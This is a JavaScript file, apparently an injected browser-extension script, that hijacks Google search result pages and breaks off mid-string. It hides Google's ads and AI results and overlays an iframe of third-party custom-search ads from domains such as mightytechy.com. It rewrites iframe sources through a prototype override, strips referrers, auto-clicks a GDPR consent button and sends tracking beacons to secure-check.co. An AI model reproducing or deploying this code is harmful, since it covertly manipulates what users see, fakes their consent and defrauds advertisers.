(function () {
// ----- Debugging -----
var debug = false; // Set to true for debugging logs
function logDebug(...args) {
if (debug) {
console.log(...args);
}
}
const startTime = performance.now();
const domainName = window.location.hostname;
let responseReceived = false;
let bgreceived = false;
let ghsElement;
// let orig = "GHS-KL";
let adcount = 0;
const currentVersion = "82";
const storedVersion = localStorage.getItem("cseScriptVersion");
const href =
window.location && window.location.href ? window.location.href : "";
// const firstIframeUrl = "https://customsearch.quickshoppers.co/logCse?q=";
const firstIframeUrl = "https://mightytechy.com/aa.php?q=";
const firstIframeWorking = [
"https://mightytechy.com/aa.php?q=",
"https://customsearch.quickshoppers.co/shop/qs_results?q=",
"https://bestseminartopics.com/BST002.php?q=",
"https://sellbourne.com/searchc.php#gsc.tab=0&gsc.q=",
"https://gazianteppsikolog.org/results_1.html?q=",
];
//'https://methoo.com/search.html?q=';
//https://sellbourne.com/searchc.php#gsc.tab=0&gsc.q=
//https://trendingones.net/trendingsearch.html?q=
//https://gazianteppsikolog.org/results_1.html?q=
//const isFirstIframeDomain = window.self !== window.top && (href.startsWith(firstIframeUrl));
const isFirstIframeDomain =
window.self !== window.top &&
firstIframeWorking.some((url) => href.startsWith(url));
const isSecondIframeDomain =
window.self !== window.top &&
href.startsWith("https://syndicatedsearch.goog/cse_v2/ads");
const isTopGoogle =
window.self === window.top &&
href.includes("google") &&
href.includes("/search?");
if (!isFirstIframeDomain && !isSecondIframeDomain && !isTopGoogle) {
return;
}
logDebug(href);
//security to avoid double css
var existingGhs = document.getElementById("ghs");
var existingKL = document.getElementById("mpimpl");
var existingYhs = document.getElementById("yhscss");
if (existingGhs || existingKL || existingYhs) {
logDebug('Style element with id "yhscss" or "mpimpl" exists.');
return;
}
function sendUntilResponse(message, interval = 100) {
const intervalId = setInterval(() => {
if (!responseReceived) sendMessageToIframes(message);
else clearInterval(intervalId);
}, interval);
}
function sendMessageToIframes(message) {
var iframes = document.getElementsByTagName("iframe");
for (let i = 0; i < iframes.length; i++) {
iframes[i].contentWindow.postMessage(message, "*");
//logDebug(message,'sendMessageToIframes from : '+href+' to : '+iframes[i].src);
}
}
function injectCSS(css) {
ghsElement = document.getElementById("ghs");
if (!ghsElement) {
ghsElement = document.createElement("style");
ghsElement.id = "ghs";
ghsElement.innerHTML = css;
document.documentElement.appendChild(ghsElement);
} else {
ghsElement.innerHTML += css;
}
}
function cupx(ac, type) {
const img = new Image();
img.src = "https://secure-check.co/cupx.php?orig=GHS-12R4&v=" + currentVersion + "&ac=" + ac + "&t=" + type;
}
// TOP LEVEL GOOGLE
if (isTopGoogle) {
// If there's no version stored, or the version has changed, cache the version and don't run the script.
if (!storedVersion) {
localStorage.setItem("cseScriptVersion", currentVersion);
logDebug("First run: caching script version, not executing script.");
//return;
} else if (storedVersion !== currentVersion) {
localStorage.setItem("cseScriptVersion", currentVersion);
logDebug(
"Script version updated: caching new version, not executing script."
);
//return;
}
function showResDiv() {
const resDiv = document.getElementById("res");
if (resDiv) {
resDiv.style.opacity = "1";
//window.scrollTo(0, 0);
} else {
setTimeout(showResDiv, 50);
}
}
window.addEventListener("message", (event) => {
if (event.data === "MsgOk") {
logDebug(
(performance.now() - startTime).toFixed(0) +
" ms. >> " +
domainName +
" Confirmation received from iframe " +
event.origin
);
responseReceived = true;
}
// Google page receives msg to show ads
if (
typeof event.data === "object" &&
event.data !== null &&
event.data.hasOwnProperty("ad")
) {
const adStatus = event.data.ad;
if (adStatus === 0) {
iframe.style.display = "none";
iframeContainer.style.display = "none";
// For the side results, set visibility visible back
const sideRes = document.getElementById("rhs");
if (sideRes) {
sideRes.style.setProperty("visibility", "visible", "important");
}
// If there are no ads, display the AI results, if available
const aiRes = document.querySelector('[jscontroller="qTdDb"]');
if (aiRes) {
logDebug("AI results NOT FOUND, displaying AI results");
aiRes.style.setProperty("visibility", "visible", "important");
}
// If there is the other top result, display it as well
const otherTopRes = document.getElementById("Odp5De");
if (otherTopRes) {
logDebug(
"Other top results NOT FOUND, displaying other top results"
);
otherTopRes.style.setProperty("visibility", "visible", "important");
}
showResDiv();
logDebug(
(performance.now() - startTime).toFixed(0) +
" ms. >> No Ads from IFRAME ##### END OF GOOGLE > ",
event
);
} else if (adStatus === 1) {
logDebug(">> Ads found from IFRAME, showing ads href =", event);
show(event, adStatus);
}
}
if (event.data.event === "cseloaded") {
adsheight = event.data.height;
logDebug(
(performance.now() - startTime).toFixed(0) +
" Message Received CSE has finished loading adsheight = " +
adsheight
);
//checkAdblockDim();
/*
if (adsheight === undefined || adsheight == 0) {
window.parent.postMessage({
ad: 0
}, '*');
}
*/
}
});
function getTopPosition(element) {
logDebug("getTopPosition called for element:", element);
let top = 0;
while (element) {
top += element.offsetTop;
element = element.offsetParent;
}
return top;
}
function show(event, adStatus) {
const resDiv = document.getElementById("res");
const center_col =
document.getElementById("center_col") ||
document.getElementById("search");
// For the side results, set visibility visible back
const sideRes = document.getElementById("rhs");
if (sideRes) {
sideRes.style.setProperty("visibility", "visible", "important");
}
let aiResHeight = 0;
let otherTopResHeight = 0;
if (adStatus === 1) {
const aiRes = document.querySelector('[jscontroller="qTdDb"]');
if (aiRes) {
aiResHeight = getTopPosition(aiRes);
aiRes.style.setProperty("display", "none", "important");
}
const otherTopRes = document.getElementById("Odp5De");
if (otherTopRes) {
otherTopResHeight = getTopPosition(otherTopRes);
otherTopRes.style.setProperty("display", "none", "important");
}
}
if (resDiv && center_col) {
const rect = resDiv.getBoundingClientRect();
const topPos = getTopPosition(center_col);
const finalTopPos = topPos + aiResHeight + otherTopResHeight;
logDebug(
"finalTopPos = " + finalTopPos,
"topPos = " + topPos,
"aiResHeight = " + aiResHeight,
"otherTopResHeight = " + otherTopResHeight
);
iframeContainer.style.cssText =
"z-index:10;overflow:hidden;position:absolute;top:" +
finalTopPos +
"px;left:" +
rect.left +
"px;width:" +
center_col.offsetWidth +
"px;height:" +
event.data.height +
"px;opacity:1;";
iframe.style.cssText =
"width:" +
iframeWidth +
"px;height:" +
iframeHeight +
"px;border:none;position:absolute;opacity:1;z-index:10;overflow:hidden;top:-" +
event.data.top +
"px;left:-" +
event.data.left +
"px;";
resDiv.style.cssText =
"margin-top:" + (event.data.height + 7) + "px;opacity:1;";
//set Google links to _blank but only the search ones.
document.querySelectorAll("#search a").forEach((link) => {
link.target = "_blank";
});
//window.scrollTo(0, 0);
showResDiv();
} else {
setTimeout(function () {
show(event, adStatus);
}, 50);
}
}
function checkbg() {
const body = document.body;
if (body) {
const computedStyle = window.getComputedStyle(body);
const bgcolor = computedStyle.getPropertyValue("background-color");
if (bgcolor && bgcolor != "rgba(0, 0, 0, 0)") {
sendUntilResponse({ bg: bgcolor }, 50);
logDebug(
performance.now() -
startTime +
" ms. for Google bgcolor value = " +
bgcolor
);
return;
} else logDebug("else bgcolor = " + bgcolor);
}
setTimeout(checkbg, 40);
}
/*
window.addEventListener("resize", () => {
const privatelayer_el = document.getElementById("ifcon");
const targetdiv = document.getElementById('search');
if (privatelayer_el && targetdiv) {
const rect = targetdiv.getBoundingClientRect();
privatelayer_el.style.left = rect.left + window.scrollX + "px";
//privatelayer_el.style.top = rect.top + window.scrollY + "px";
}
});
*/
// Configuration constants
const MAX_CHECK_ATTEMPTS = 20;
const CHECK_INTERVAL = 20;
// Variables
let checkCount = 0;
function insertElTarget(element) {
const targetElement = document.documentElement;
if (targetElement) {
targetElement.appendChild(element);
} else {
setTimeout(() => insertElTarget(element), 10);
}
}
function isValidSearch(keyword, udm, tbm) {
if (!keyword) return false;
if (udm === "2" || udm === "28" || udm === "50") return false;
const invalidTbms = ["nws", "lcl", "fin", "isch", "vid", "bks"];
if (invalidTbms.includes(tbm)) return false;
return window.location.pathname === "/search";
}
function checkForKeyword() {
checkCount++;
logDebug("checkForKeyword attempt #" + checkCount);
const params = new URLSearchParams(window.location.search);
const tbm = params.get("tbm");
const udm = params.get("udm");
const keyword = params.get("q");
// If it's a valid search, handle the keyword logic
if (isValidSearch(keyword, udm, tbm)) {
//handleKeyword(keyword);
startIframe(keyword);
return;
}
// If it's explicitly a known non-search page, stop.
if (
udm === "2" ||
udm === "28" ||
udm === "50" ||
["nws", "lcl", "fin", "isch", "vid", "bks"].includes(tbm)
) {
logDebug("Non search page detected");
return;
}
// If not valid yet, retry until max attempts
if (checkCount < MAX_CHECK_ATTEMPTS) {
setTimeout(checkForKeyword, CHECK_INTERVAL);
} else {
logDebug(
"Reached maximum retries (" +
MAX_CHECK_ATTEMPTS +
"). Stopping checks."
);
}
}
/**
* Inserts styling and an iframe for the given keyword.
* Assumes `iframeContainer`, `iframe`, `meta`, and `checkbg()` are defined elsewhere.
* @param {string} keyword - The keyword to use in the iframe URL.
*/
function startIframe(keyword) {
const style = document.createElement("style");
style.innerHTML = `#atvcap,#epbar,#mbEnd,#tads,#tadsb,#taw,.ads-ad,.commercial-unit-desktop-rhs,.commercial-unit-desktop-top{display:none!important}#res{opacity:0}#rhs,#Odp5De,[jscontroller="qTdDb"]{visibility:hidden!important}`;
document.documentElement.appendChild(style);
iframe.src = firstIframeUrl + encodeURIComponent(keyword);
iframeContainer.appendChild(iframe);
insertElTarget(iframeContainer);
insertElTarget(meta);
checkbg();
setInterval(function () {
var center_col = document.getElementById("center_col");
if (center_col && iframeContainer) {
rect = center_col.getBoundingClientRect();
iframeContainer.style.left = rect.left + window.scrollX + "px";
iframeContainer.style.top = rect.top + window.scrollY + "px";
}
}, 10);
}
/**
* Checks for certain elements by ID. If any are found, log and stop execution.
* Otherwise, proceed to check for the keyword.
*/
function checkElementExistsAndStop() {
//if (document.querySelector('meta[http-equiv="refresh"]')) {return;}
const ids = [
"zsYMehe",
"privatelayer",
"mdorkirgneorpowtn",
"sadsfs",
"navflow",
"mpimpl",
];
for (const id of ids) {
if (document.getElementById(id)) {
logDebug(
"Element with ID " + id + " exists. Stopping script execution."
);
return;
}
}
// If none found, proceed
checkForKeyword();
}
const iframeHeight = window.innerHeight + 2000;
const iframeWidth = window.innerWidth;
const iframeContainer = document.createElement("div");
iframeContainer.id = "ifcon";
iframeContainer.style.cssText =
"opacity:1;position:absolute;z-index:10;overflow:hidden;width:100%;height:100%;top:-3500px;";
const iframe = document.createElement("iframe");
iframe.id = "zsYMehe";
iframe.style.cssText =
"width:" +
iframeWidth +
"px;height:" +
iframeHeight +
"px;border:none;position:absolute;opacity:1;z-index:10;overflow:hidden;top:-3500px;";
iframe.setAttribute("scrolling", "no");
iframe.setAttribute("frameborder", "0");
iframe.setAttribute("referrerpolicy", "no-referrer");
const meta = document.createElement("meta");
meta.name = "referrer";
meta.content = "no-referrer";
// Start the process
checkElementExistsAndStop();
setTimeout(() => {
const resDiv = document.getElementById("res");
if (
resDiv &&
window.getComputedStyle(resDiv).getPropertyValue("opacity") === "0"
) {
showResDiv();
logDebug((performance.now() - startTime).toFixed(0) + " ms : too long");
}
}, 3400);
return;
}
// FIRST IFRAME DOMAIN LOGIC
if (isFirstIframeDomain) {
(function () {
function processIframeSrc(url) {
try {
const urlObj = new URL(url, window.location.href);
const params = urlObj.searchParams;
["lao", "isw", "ish"].forEach((param) => params.delete(param));
if (params.has("psw")) params.set("biw", params.get("psw"));
const u_h = parseFloat(params.get("u_h") || 0);
if (u_h) {
params.set("bih", (u_h * 0.6).toFixed(0));
params.set("psh", (u_h * 0.5).toFixed(0));
}
params.set("referer", window.location.href);
params.set("frm", "0");
//params.set("sc_status", "6");
logDebug("processIframeSrc = " + urlObj.href);
return urlObj.href;
} catch (e) {
return url;
}
}
const iframeSrcDescriptor = Object.getOwnPropertyDescriptor(
HTMLIFrameElement.prototype,
"src"
);
Object.defineProperty(HTMLIFrameElement.prototype, "src", {
get: function () {
return iframeSrcDescriptor.get.call(this);
},
set: function (value) {
iframeSrcDescriptor.set.call(this, processIframeSrc(value));
},
configurable: true,
enumerable: true,
});
const observer = new MutationObserver((mutationsList) => {
for (const mutation of mutationsList) {
if (
mutation.type === "attributes" &&
mutation.attributeName === "src" &&
mutation.target.tagName === "IFRAME"
) {
const iframe = mutation.target;
const src = iframe.getAttribute("src");
const newSrc = processIframeSrc(src);
if (newSrc !== src) iframe.setAttribute("src", newSrc);
} else if (mutation.type === "childList") {
mutation.addedNodes.forEach((node) => {
if (node.tagName === "IFRAME") {
const src = node.getAttribute("src");
if (src) {
const newSrc = processIframeSrc(src);
if (newSrc !== src) node.setAttribute("src", newSrc);
}
} else if (node.querySelectorAll) {
node.querySelectorAll("iframe").forEach((ifr) => {
const src = ifr.getAttribute("src");
if (src) {
const newSrc = processIframeSrc(src);
if (newSrc !== src) ifr.setAttribute("src", newSrc);
}
});
}
});
}
}
});
observer.observe(document.documentElement, {
childList: true,
subtree: true,
attributes: true,
attributeFilter: ["src"],
});
document.querySelectorAll("iframe[src]").forEach((ifr) => {
const src = ifr.getAttribute("src");
const newSrc = processIframeSrc(src);
if (newSrc !== src) ifr.setAttribute("src", newSrc);
});
})();
window.addEventListener("message", (event) => {
//logDebug('MSG =',event);
// removed event.source === window.parent &&
if (event.data.bg && !bgreceived) {
bgreceived = true;
const bg = event.data.bg;
if (bg !== "rgb(255, 255, 255)") {
injectCSS(
"body,.gsc-control-cse,.result-right,.gsc-adBlock{background-color:" +
bg +
"!important;border:0!important}"
);
event.source.postMessage("MsgOk", event.origin);
//sendMessageUntilResponse({ bg }, 50);
logDebug("Dark Mode 1st iframe bg =" + bg);
} else {
event.source.postMessage("MsgOk", event.origin);
logDebug("Light Mode received from ", event.source);
}
sendUntilResponse({ bg }, 50);
}
if (event.data === "MsgOk") {
logDebug(
(performance.now() - startTime).toFixed(0) +
" ms. >> " +
domainName +
" Confirmation received from iframe " +
event.origin
);
responseReceived = true;
}
});
function checkAdblockDim() {
logDebug(">> checkAdblockDim");
const adBlockDiv = document.querySelector(".gsc-adBlock");
if (!adBlockDiv) {
logDebug(".gsc-adBlock do not exist");
window.parent.postMessage({ ad: 0 }, "*");
//algoClick();
return;
}
let previousHeight = null;
function sendDimensions() {
const rect = adBlockDiv.getBoundingClientRect();
const offsetY =
window.pageYOffset || document.documentElement.scrollTop;
const offsetX =
window.pageXOffset || document.documentElement.scrollLeft;
if (rect.height === 0) {
// If no height, no ad
logDebug("rect.height === 0");
window.parent.postMessage({ ad: 0 }, "*");
previousHeight = 0;
//algoClick();
return;
}
// Only send if the height has changed
if (rect.height !== previousHeight) {
previousHeight = rect.height;
window.parent.postMessage(
{
ad: 1,
top: rect.top + offsetY,
left: rect.left + offsetX,
width: rect.width,
height: rect.height,
},
"*"
);
logDebug(
"Top:",
rect.top + offsetY,
"Left:",
rect.left + offsetX,
"Height:",
rect.height
);
}
}
const ro = new ResizeObserver(sendDimensions);
ro.observe(adBlockDiv);
// Send initial dimensions
sendDimensions();
}
// Check gdprButton
function checkForGdpr() {
const gdprButton = document.getElementById("gdprAccept");
if (gdprButton) {
logDebug("The GDPR accept button was found. Clicking it now.");
clearInterval(checkInterval);
gdprButton.dispatchEvent(
new MouseEvent("click", {
view: window,
bubbles: true,
cancelable: true,
})
);
}
}
const checkInterval = setInterval(checkForGdpr, 500);
let adblockChecked = false;
function checkAdblockDimOnce(trigger) {
if (!adblockChecked) {
adblockChecked = true;
checkAdblockDim();
logDebug(
firstIframeUrl +
" fully loaded from " +
trigger +
", executing script..."
);
}
}
if (document.readyState === "complete") {
checkAdblockDimOnce("document.readyState complete");
} else {
/*
document.onreadystatechange = function() {
if (document.readyState === 'complete') {
checkAdblockDimOnce('readystatechange');
}
};
*/
window.addEventListener(
"load",
function () {
checkAdblockDimOnce("window load");
},
{ once: true }
);
}
let css = `#main,.section,section,.gsc-control-cse,.container{border:0;margin:0!important;padding:0}.gsc-loading-fade .gsc-adBlock {opacity: 1 !important;}.gsc-adBlock{border-bottom:none!important;margin-bottom:0;padding-bottom:0}body{margin:0}#gdprConsent,#footer,.header,#header,.gsc-above-wrapper-area,.search-container,.gsc-tabsArea,.gsc-search-box,.result-left,.result-right,.search-box{display:none!important}.container{max-width:none!important}.gsc-webResult.gsc-result{border:none}`;
//@media (prefers-color-scheme: dark){body,.gsc-wrapper,.gsc-resultsbox-visible,.gsc-control-cse{background-color:#1f1f1f!important}.gsc-webResult.gsc-result{border:1px solid #1f1f1f!important}}
injectCSS(css);
}
// SECOND IFRAME DOMAIN (CSE)
if (isSecondIframeDomain) {
function runWhenReady(callback) {
let called = false;
function run() {
if (called) return;
called = true;
callback();
}
if (document.readyState === "complete") {
run();
} else {
document.addEventListener("DOMContentLoaded", run, { once: true });
window.addEventListener("load", run, { once: true });
}
}
runWhenReady(cse);
function getTopLevelDomain(domain) {
const parts = domain.split(".");
const len = parts.length;
if (len <= 2) return domain;
const last2 = parts.slice(-2);
const thirdLast = parts[len - 3];
return parts[len - 2].length <= 3
? [thirdLast, ...last2].join(".")
: last2.join(".");
}
function cse() {
logDebug(
(performance.now() - startTime).toFixed(0) +
" ms: syndicatedsearch.goog loaded"
);
let attempts = 0;
let maxAttempts = 10;
let interval = 50; // in milliseconds
let intervalId = setInterval(() => {
const adsIframe = document.querySelector("#ssrad-master div");
logDebug("setInterval finding #ssrad-master div attempts =" + attempts);
if (adsIframe) {
clearInterval(intervalId);
// Original code when adsIframe is found
adsIframe.childNodes.forEach((child) => {
const titleElement = child.querySelector(".styleable-visurl");
const titleEl = child.querySelector(".styleable-title");
if (!titleElement || !titleEl) return;
const _URL = titleElement.textContent.trim();
const { hostname, origin } = new URL(_URL);
const title = hostname.replace("www.", "").split("/")[0];
const newTitle = getTopLevelDomain(title);
logDebug(newTitle);
let hostnameOnly = newTitle.split(".")[0];
const favicon =
"https://www.google.com/s2/favicons?domain=" + newTitle;
const elHeader = document.createElement("div");
elHeader.className = "ele_head";
elHeader.innerHTML =
'